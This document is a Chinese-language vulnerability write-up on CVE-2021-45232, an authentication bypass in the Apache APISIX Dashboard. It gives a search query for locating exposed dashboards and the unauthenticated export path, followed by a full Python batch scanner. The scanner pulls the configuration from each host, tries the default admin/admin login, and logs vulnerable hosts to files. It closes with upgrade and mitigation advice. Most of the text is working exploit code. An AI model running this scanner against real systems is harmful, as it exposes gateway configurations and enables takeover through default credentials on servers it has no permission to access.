apisix未授权访问(CVE-2021-45232)
遵纪守法
任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益
漏洞描述
Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。
风险等级
高危
影响版本
Apache APISIX Dashboard < 2.10.1
资产确定
title="Apache APISIX Dashboard"
漏洞检测
POC
host + /apisix/admin/migrate/export
验证,成功读取文件
访问该地址可直接下载配置文件
检测脚本
https://github.com/Ifory885/CVE-2021-45232
import argparse
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36'}
def banner():
print(r"""
_______ ________ ___ ___ ___ __ _ _ _____ ___ ____ ___
/ ____\ \ / / ____| |__ \ / _ \__ \/_ | | || | | ____|__ \|___ \__ \
| | \ \ / /| |__ ______ ) | | | | ) || |______| || |_| |__ ) | __) | ) |
| | \ \/ / | __|______/ /| | | |/ / | |______|__ _|___ \ / / |__ < / /
| |____ \ / | |____ / /_| |_| / /_ | | | | ___) |/ /_ ___) / /_
\_____| \/ |______| |____|\___/____||_| |_| |____/|____|____/____|
by:Ifory""")
def parse_args():
parser = argparse.ArgumentParser(
epilog='\tExample: \r\npython3 ' + sys.argv[0] + ' -u 127.0.0.1:9000')
parser.add_argument("-u", "--url", type=str,
required=False, default=None, help="待检测URL")
parser.add_argument("-f", "--file", type=str,
required=False, default=None, help="批量导入检测")
return parser.parse_args()
def handle_url(host):
if 'http' not in host:
host = 'http://' + host
return host
def poc(host):
url = host + '/apisix/admin/migrate/export'
try:
respose = requests.get(url, headers=headers, verify=False, timeout=5)
if "Counsumers" in respose.text:
print(f"[+]{host} vul!")
with open("vul.txt", "a", encoding="utf-8") as f:
f.write(f"{url}\n")
else:
print(f"[-]{host} no vul!")
return True
except:
print(f"[-]{host} 页面无法访问")
return False
def login(host):
url = host + '/apisix/admin/user/login'
json = {"username": "admin", "password": "admin"}
try:
respose = requests.post(url, headers=headers,
json=json, verify=False, timeout=5)
if '"code":0' in respose.text:
print(f"[+]{host} default password!")
with open("vul_login.txt", "a", encoding="utf-8") as f:
f.write(f"{host}\n")
else:
print(f"[-]{host} no default password!")
except:
print(f"[-]{host} 页面无法访问")
if __name__ == '__main__':
banner()
args = parse_args()
if args.url:
host = handle_url(args.url)
if poc(host):
login(host)
else:
if args.file:
with open(f"{args.file}", "r", encoding="utf-8") as put:
for url in put.readlines():
host = url.strip()
host = handle_url(host)
if poc(host):
login(host)
修复方案
目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到安全版本:
https://github.com/apache/apisix-dashboard/releases/tag/v2.10.1
若无法及时升级的用户,可根据官方提供的修复建议通过修改默认用户名和密码,并设置访问Apache APISIX Dashboard的白名单进行缓解。